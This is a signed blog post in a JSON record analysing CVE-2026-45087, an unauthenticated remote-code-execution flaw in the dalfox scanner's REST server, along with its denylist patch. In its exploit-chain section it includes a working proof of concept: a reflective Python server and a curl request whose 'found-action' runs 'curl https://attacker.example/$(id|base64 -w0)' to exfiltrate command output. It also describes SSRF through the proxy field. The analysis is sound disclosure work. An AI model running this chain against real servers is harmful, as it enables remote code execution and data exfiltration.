-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The patch is a denylist of eight fields\n\n```go\n// sanitizeAPIScanOptions strips fields that would let an API caller drive\n// host-side filesystem or shell execution. These options are only safe for\n// local CLI users; in REST/MCP mode the caller is the request body, so we\n// refuse to honor them regardless of authentication state.\n//\n// See GHSA-v25v-m36w-jp4h, GHSA-8hf9-3q64-q2qf, GHSA-35wr-x7v6-9fv2.\nfunc sanitizeAPIScanOptions(o *model.Options) {\n\to.FoundAction = \"\"\n\to.FoundActionShell = \"\"\n\to.OutputFile = \"\"\n\to.OutputAll = false\n\to.CustomPayloadFile = \"\"\n\to.CustomBlindXSSPayloadFile = \"\"\n\to.HarFilePath = \"\"\n\to.MiningWordlist = \"\"\n}\n```\n\nThree GHSAs are named in the comment. CVE-2026-45087 (this one) is the RCE primitive: `FoundAction` and `FoundActionShell` flow into `exec.Command`. CVE-2026-45088 is the arbitrary file read: `CustomPayloadFile` is opened with `voltFile.ReadLinesOrLiteral`, each line is sent as an XSS payload to whichever target URL the same request body specified, and the file's contents leak through the scan traffic. CVE-2026-45089 is the arbitrary file write: `OutputFile` is opened with `O_CREATE|O_APPEND` once `OutputAll` or `Debug` is set in the same body.\n\nThree CVEs, one patch, one function. The other five fields the function clears, `CustomBlindXSSPayloadFile`, `HarFilePath`, `MiningWordlist`, the two `Output*` toggles, have no separate CVEs. They have the same shape. The maintainer enumerated them anyway. The function comment is its own admission: these options are only safe for local CLI users.\n\nThe fix is not a redesign of the request shape. It is a list.\n\n## Found-action was the operator's hook in April 2020\n\n`--found-action` lands in `cmd/root.go` in commit `ecb8401`, April 27, 2020. The README example is `--found-action './notify.sh'`. The intent is operator scripting: when dalfox finds a reflection, run a notification, log to a ticketing system, post to Slack. The implementation is one file, twenty lines:\n\n```go\n// pkg/scanning/foundaction.go\nfunc foundAction(options model.Options, target, query, ptype string) {\n\tafterCmd := options.FoundAction\n\tafterCmd = strings.ReplaceAll(afterCmd, \"@@query@@\", query)\n\tafterCmd = strings.ReplaceAll(afterCmd, \"@@target@@\", target)\n\tafterCmd = strings.ReplaceAll(afterCmd, \"@@type@@\", ptype)\n\tcmd := exec.Command(options.FoundActionShell, \"-c\", afterCmd)\n\terr := cmd.Run()\n\t// ...\n}\n```\n\n`exec.Command(shell, \"-c\", command)`. No escaping. None is required, because in April 2020 the only caller is `dalfox url https://target.example/` running from the operator's shell, and the operator is supposed to put whatever shell text they want into the field. That is the feature.\n\nIn April 2020, the JSON tag on the field already reads `json:\"found-action,omitempty\"`. The tag is there because `model.Options` is also unmarshaled from `--config some.json`, the operator's own configuration file:\n\n```go\n// cmd/root.go, loadFile\nbyteValue, _ := io.ReadAll(jsonFile)\nerr = json.Unmarshal(byteValue, &options)\n```\n\nThe kebab-case JSON tag is the wire shape of the CLI flag, named to match. The trust boundary is the operator's filesystem: an attacker who can write your dalfox config has already won.\n\nOn August 8, 2020, commit `3aa247b` lands a new package, `pkg/server`. Its request struct, in 12 lines of `pkg/server/model.go`:\n\n```go\ntype Req struct {\n\tURL string `json:\"url\"`\n\tOptions model.Options `json:\"options\"`\n}\n```\n\nEcho's `c.Bind(rq)` reads the JSON body and populates `Req` using the json tags. Every JSON tag on `model.Options` is now a public network parameter. The tag on `FoundAction` was written for a config file. It works the same way over a TCP socket.\n\n## The chain is one curl against a default install\n\n```go\n// pkg/server/server.go, pre-patch\nif options.ServerType == \"rest\" && options.APIKey != \"\" {\n e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\n```go\n// cmd/server.go\nserverCmd.Flags().StringVar(&apiKey, \"api-key\", \"\",\n \"Specify the API key for server authentication. ...\")\nserverCmd.Flags().StringVar(&host, \"host\", \"0.0.0.0\",\n \"Specify the address to bind the server to. ...\")\nserverCmd.Flags().IntVar(&port, \"port\", 6664, ...)\n```\n\n`apiKey` defaults to `\"\"`. The auth middleware registers only when the key is non-empty. There is no warning at startup if the flag is unset. The banner prints `Listen 0.0.0.0:6664` and the process serves. Default install: unauthenticated, world-reachable, port 6664.\n\n```go\n// pkg/server/server.go, pre-patch\nfunc postScanHandler(c echo.Context, scans *[]string, options *model.Options) error {\n\trq := new(Req)\n\tif err := c.Bind(rq); err != nil {\n\t\t// ...\n\t}\n\tsid := utils.GenerateRandomToken(rq.URL)\n\t// ...\n\tgo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n\treturn respondJSONorJSONP(c, http.StatusOK, res, options)\n}\n```\n\n`rq.Options` is the user-supplied JSON, deserialized into the same struct the CLI flag parser writes to. `ScanFromAPI` passes it to `dalfox.Initialize`, whose string-options table copies `FoundAction` and `FoundActionShell` from input to working options. The scan starts. When a payload reflects, `pkg/scanning/sendReq.go` calls:\n\n```go\nif options.FoundAction != \"\" {\n foundAction(options, req.URL.Host, poc.Data, \"BAV: \"+poc.InjectType)\n}\n```\n\nThe exploit chain, end to end:\n\n```bash\n# 1. Attacker runs a reflective endpoint on a host they control:\n$ python3 -c 'from http.server import *\nclass H(BaseHTTPRequestHandler):\n def do_GET(s):\n s.send_response(200); s.end_headers()\n s.wfile.write(b\"\"+s.path.encode()+b\"\")\nHTTPServer((\"0.0.0.0\",18081),H).serve_forever()'\n\n# 2. Attacker posts to the target's dalfox server:\n$ curl -X POST http://target:6664/scan \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"url\": \"http://attacker.example:18081/?q=test\",\n \"options\": {\n \"found-action\": \"curl https://attacker.example/$(id|base64 -w0)\",\n \"found-action-shell\": \"bash\"\n }\n }'\n```\n\n`postScanHandler` accepts the body. `ScanFromAPI` runs in a goroutine. Dalfox sends XSS payloads to the attacker's reflective server. The server reflects them. The scan engine sees the reflections as findings. `foundAction` runs. `exec.Command(\"bash\", \"-c\", \"curl https://attacker.example/$(id|base64 -w0)\")` executes with the privilege of the dalfox process. The attacker reads `id` out-of-band.\n\nNo header. No cookie. No `X-API-KEY`. Default install.\n\n## The Options struct has seventy-two JSON tags\n\n`grep -c 'json:\"' pkg/model/options.go` returns 72. The patch's denylist names eight. The other sixty-four are operator-meant configuration that an unauthenticated `POST /scan` can also set: `proxy` (`ProxyAddress`), `header`, `cookie`, `data`, `worker`, `delay`, `param`, `user-agent`, `is-api`, `is-library`. Most are fine. Some are not.\n\n`json:\"proxy\"` lets a network caller set the HTTP proxy through which the dalfox process makes every outbound scan request. A scan of `https://internal.target.example/` proxied through `http://attacker.example:8080/` exfiltrates the response bodies of internal URLs to the attacker. `json:\"header\"` lets the caller set arbitrary request headers, including `Authorization`, on the scan traffic, which is now from the dalfox host's network position rather than from the attacker's. `json:\"cookie\"` is the same primitive against authenticated targets.\n\nThe denylist did not name these because they are not arbitrary-shell or arbitrary-file primitives. They are SSRF and credential-prefixing primitives instead. The fix's framing is \"host-side filesystem or shell execution,\" which is exactly the framing of the three GHSAs it closes. The fields that route scan traffic through attacker-controlled infrastructure stay live.\n\nThe patch's own comment names the structural mistake exactly: *\"in REST/MCP mode the caller is the request body.\"* Then it closes eight instances. This is [design-debt-driver](/patterns/design-debt-driver) in pure form, the component `model.Options` doubling as flag struct and request body, and the fix is per-field rather than per-trust-boundary. The next field added to `model.Options` with a JSON tag and a side effect is the next CVE.\n\n## The default was empty for five years and nine months\n\nServer mode lands on August 8, 2020 in commit `3aa247b`. The diff includes no authentication. The first commit that adds an `--api-key` flag is `97c519e`, dated July 5, 2025. The commit subject is `feat: API 키 기반 인증 추가`. The author is `google-labs-jules[bot]`, an AI agent. The change adds the flag and the `apiKeyAuth` middleware. The middleware registers only when the key is non-empty. The default stays empty.\n\nFrom August 8, 2020 through May 7, 2026, default dalfox server mode was a 0.0.0.0 listener that accepted arbitrary shell commands from any network caller, gated by no authentication. That is five years, nine months. The bot landed the conditional lock ten months before the CVE. The conditional was the lock. The default was no lock.\n\nThe advisory's first remediation is \"make API key mandatory: reject server startup without `--api-key`.\" That is the line the bot did not write.\n\n## The detector's privileged action is the shell hook\n\nDalfox is a vulnerability scanner. The thing that makes it useful is the chain of capabilities it carries on the operator's behalf: outbound HTTP from the operator's network position, a payload library, a headless browser to confirm execution, and a shell hook to glue findings into the operator's notification pipeline. The shell hook is `--found-action`. It exists so the operator can run their own code when dalfox reports a finding.\n\nThat hook is the [security-tool-as-primitive](/patterns/security-tool-as-primitive) shape written literal: the privileged action of the security tool is `exec.Command` with operator-supplied text. The privilege is fine when the operator is at a terminal. The privilege is unauthenticated RCE the moment the same struct that holds the operator's text accepts JSON from the network.\n\nThe patch does not remove the hook. The hook is a feature. The patch removes the hook's reachability from one specific caller, `postScanHandler`, by stripping `FoundAction` to the empty string in a sanitizer the handler now calls. The hook's machinery, the substitution, the `exec.Command`, the conditional in `sendReq.go`, remains in the binary. Any future code path that constructs a `model.Options` from network input and forgets the sanitizer call re-exposes it.\n\n`sanitizeAPIScanOptions` is the maintainer's enumeration of what the trust boundary should have been. The trust boundary is the function. The boundary is documentation of which fields move between the operator and the network, written in Go.\n\nPoC: [GHSA-v25v-m36w-jp4h](https://github.com/advisories/GHSA-v25v-m36w-jp4h)","closing_line":"The patch names eight fields. The struct has seventy-two JSON tags. Every tag is a network primitive until the next sanitizer entry says otherwise.","hook_md":"The patch for CVE-2026-45087 in dalfox v2.13.0 adds one function. The function clears eight fields from a struct before passing the struct to the scan engine. The struct is `model.Options`. It is the same struct that holds the value of `--found-action` when an operator runs dalfox from a terminal. It is the same struct, with the same JSON tags, that the REST server has been binding from any unauthenticated `POST /scan` body since August 8, 2020.\n\nThe flag did not move. The struct it lives in did not move. The bus changed.","post_id":366,"slug":"dalfox-cve-2026-45087-rest-api-was-the-cli","title":"CVE-2026-45087: Dalfox's REST API Was the CLI","type":"initial","unreadable_sentence":"The flag did not move. The struct it lives in did not move. The bus changed."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCakfvtAAKCRDeZjl4jgkQ JtQzAQDAmR2zG/wMev6jhkVFfSQVO9LIW2mw/m5qpYg7/POFlQEAwiD2OBpHTnON +G+eNFf+QMLrvzaDQgTlBQyw3H5M6Q8= =CJb9 -----END PGP SIGNATURE-----